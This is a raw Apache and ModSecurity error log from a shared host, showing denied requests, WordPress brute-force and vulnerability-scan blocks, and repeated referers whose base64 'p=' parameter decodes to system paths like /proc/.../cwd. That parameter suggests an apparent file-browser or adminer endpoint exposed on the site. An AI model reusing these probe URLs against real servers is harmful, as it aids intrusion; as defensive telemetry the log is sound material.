https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2lk [Sat Jun 13 18:21:41.841311 2026] [access_compat:error] [pid 715691:tid 715727] [remote 57.141.14.26:24724] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:41.841570 2026] [access_compat:error] [pid 715691:tid 715727] [remote 57.141.14.26:24724] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:41.860088 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.7:32785] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:41.860550 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.7:32785] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:42.042944 2026] [security2:error] [pid 715691:tid 715725] [remote 109.123.245.70:40130] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.245.123.109.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/wp-login.php"] [unique_id "ai30FrV-dFiaX9AtWiQVLAABcw8"] [Sat Jun 13 18:21:42.078383 2026] [security2:error] [pid 648189:tid 648342] [remote 17.246.15.81:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 81.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30FlWSojQL4F7upKCNkwAAt3c"] [Sat Jun 13 18:21:42.106965 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:42.107218 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:42.228405 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.104:44924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:42.228774 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.104:44924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:42.544427 2026] [access_compat:error] [pid 715691:tid 715730] [remote 57.141.14.7:32799] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:42.544707 2026] [access_compat:error] [pid 715691:tid 715730] [remote 57.141.14.7:32799] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:42.612707 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.28:40300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:42.613058 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.28:40300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:42.617978 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:21:42.618260 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:21:42.925640 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.30:27288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:42.926112 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.30:27288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:43.056821 2026] [security2:error] [pid 715691:tid 715736] [remote 17.241.227.236:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 236.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30F7V-dFiaX9AtWiQVNwABIRo"] [Sat Jun 13 18:21:43.121433 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:21:43.121724 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:21:43.331929 2026] [access_compat:error] [pid 715691:tid 715735] [remote 74.7.227.22:44320] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:21:43.332389 2026] [access_compat:error] [pid 715691:tid 715735] [remote 74.7.227.22:44320] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:21:43.422007 2026] [access_compat:error] [pid 715691:tid 715738] [remote 57.141.14.42:37646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:43.422280 2026] [access_compat:error] [pid 715691:tid 715738] [remote 57.141.14.42:37646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:43.562163 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.6:36462] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:43.562440 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.6:36462] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:43.687532 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9tb3VzZTAvZGV2aWNl [Sat Jun 13 18:21:43.687826 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9tb3VzZTAvZGV2aWNl [Sat Jun 13 18:21:43.723078 2026] [security2:error] [pid 715691:tid 715748] [remote 74.7.227.22:44320] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai30F7V-dFiaX9AtWiQVRQABDiY"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:21:44.154037 2026] [access_compat:error] [pid 715691:tid 715759] [remote 57.141.14.77:44793] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:44.154501 2026] [access_compat:error] [pid 715691:tid 715759] [remote 57.141.14.77:44793] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:44.156918 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.8:36093] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:44.157189 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.8:36093] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:44.203522 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:44.203820 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:44.413126 2026] [access_compat:error] [pid 715691:tid 715760] [remote 57.141.14.63:49010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:44.413414 2026] [access_compat:error] [pid 715691:tid 715760] [remote 57.141.14.63:49010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:44.620574 2026] [security2:error] [pid 715691:tid 715712] [remote 109.123.245.70:40130] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.245.123.109.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/wp-login.php"] [unique_id "ai30GLV-dFiaX9AtWiQVVgABNgI"], referer: https://bradgoreski.co/wp-login.php [Sat Jun 13 18:21:44.748088 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9tb3VzZTAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:21:44.748385 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9tb3VzZTAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:21:44.810482 2026] [access_compat:error] [pid 648189:tid 648224] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:44.810783 2026] [access_compat:error] [pid 648189:tid 648224] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:45.098305 2026] [access_compat:error] [pid 715691:tid 715763] [remote 57.141.14.96:24667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:45.098607 2026] [access_compat:error] [pid 715691:tid 715763] [remote 57.141.14.96:24667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:45.222824 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:21:45.223116 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:21:45.357263 2026] [access_compat:error] [pid 646876:tid 646939] [remote 57.141.14.67:28931] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:45.357591 2026] [access_compat:error] [pid 646876:tid 646939] [remote 57.141.14.67:28931] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:45.745166 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:21:45.745441 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 